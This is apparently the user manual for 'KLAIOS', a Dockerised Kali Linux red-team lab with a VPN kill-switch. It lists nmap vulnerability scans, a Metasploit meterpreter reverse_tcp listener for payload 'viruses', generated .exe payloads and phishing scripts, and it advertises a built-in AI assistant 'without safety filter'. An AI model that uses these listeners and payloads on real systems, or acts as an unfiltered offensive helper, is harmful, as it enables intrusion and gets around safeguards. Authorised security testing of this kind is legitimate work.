🛡️ KLAIOS – Manuel Système (v6.0)

Name : KLAIOS (Kali Linux AI Operations System) Version : 6.0 (Red Team Edition) Statut : Opérationnel / Armé

1. Qu'est-ce que KLAIOS ?

KLAIOS est un environnement de sécurité hybride. Il combine la puissance offensive de Kali Linux avec la sécurité d'un bunker VPN et l'intelligence de l'IA moderne. Ce n'est pas un simple outil, mais un 'laboratoire en conteneur', physiquement séparé du système hôte, mais ayant accès à des cibles locales et externes.

L'architecture

• Conteneur 1 (VPN) : Le 'portier'. Achemine tout le trafic via un tunnel chiffré (ProtonVPN). Possède un 'kill-switch' (coupe le câble si le VPN tombe).
• Conteneur 2 (Core) : L''arme'. Contient Nmap, Metasploit, Python et les scripts IA. Utilise le réseau du conteneur VPN.

2. Fonctionnalités actuelles (Core)

Le système est utilisé localement via le terminal.

• Bunker VPN (Kill-Switch, tout le trafic via VPN)
• Kali Toolset (nmap, metasploit, python)
• Aide IA pour les commandes dans le terminal

3. Guide d'utilisation

Démarrer & Arrêter le système

Ouvre PowerShell dans ton dossier de projet :

1. Démarrer : docker-compose up -d
2. Arrêter : docker-compose down
3. Vérifier le statut : docker-compose ps

Accès

Terminal dans le conteneur :

• docker exec -it klaios-core bash

Terminal root (optionnel) :

• docker exec -it -u root klaios-core bash

Workflow pour un test (exemple)

1. Ouvrir le terminal dans le conteneur.
2. Vérifier le statut VPN : curl ifconfig.me.
3. Lancer un scan ou un outil dans le terminal (ex. nmap, msfconsole).

4. Collection de commandes (Aide-mémoire)

Voici les commandes essentielles pour le terminal dans le conteneur ou PowerShell.

🛠️ Maintenance & Réparation (PowerShell)

Si quelque chose bloque ou si de nouveaux outils manquent :

# Container komplett neu bauen (löscht keine Daten im Workspace)
docker-compose down
docker-compose build --no-cache
docker-compose up -d

# Falls Python-Fehler "externally managed" kommen (Live-Fix):
docker exec -it -u root klaios-core pip3 install <paketname> --break-system-packages

🤖 Assistant IA (Terminal)

L'assistant IA intégré (sans filtre de sécurité) :

# Frage stellen
ai "Wie scanne ich nach EternalBlue Schwachstellen?"

# Code generieren lassen
ai "Schreibe ein Python Script für einen Portscanner"

📡 Scans manuels (Terminal)

Si tu as besoin de plus de contrôle :

# Wo bin ich? (IP Check)
curl ifconfig.me

# Schneller Scan des lokalen Netzes (z.B. Router)
nmap -F 192.168.2.1

# Aggressiver Scan gegen erlaubtes Ziel
sudo nmap -sV -O --script vuln scanme.nmap.org

⚔️ Metasploit / Payload (Terminal)

# Listener starten (Wartet auf eingehende Verbindung vom Virus)
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"

📂 Système de fichiers

• Workspace : /home/researcher/workspace
• C'est ici que sont stockés les rapports de scan et les payloads générés (.exe).
• Ce dossier est synchronisé avec ton bureau Windows !

⚠️ Consignes de sécurité importantes

1. Juridique : Scanner UNIQUEMENT ses propres appareils ou des cibles avec autorisation explicite (scanme.nmap.org).
2. OpSec : Vérifier avant chaque scan avec curl ifconfig.me si l'IP VPN est active.
3. Phishing : Envoyer des e-mails de phishing uniquement à vos propres comptes de test. Gmail bloque les comptes qui pratiquent du vrai spam. Et avec auto_hacker.py ou le script, ne l'utiliser que dans vos propres réseaux avec permission.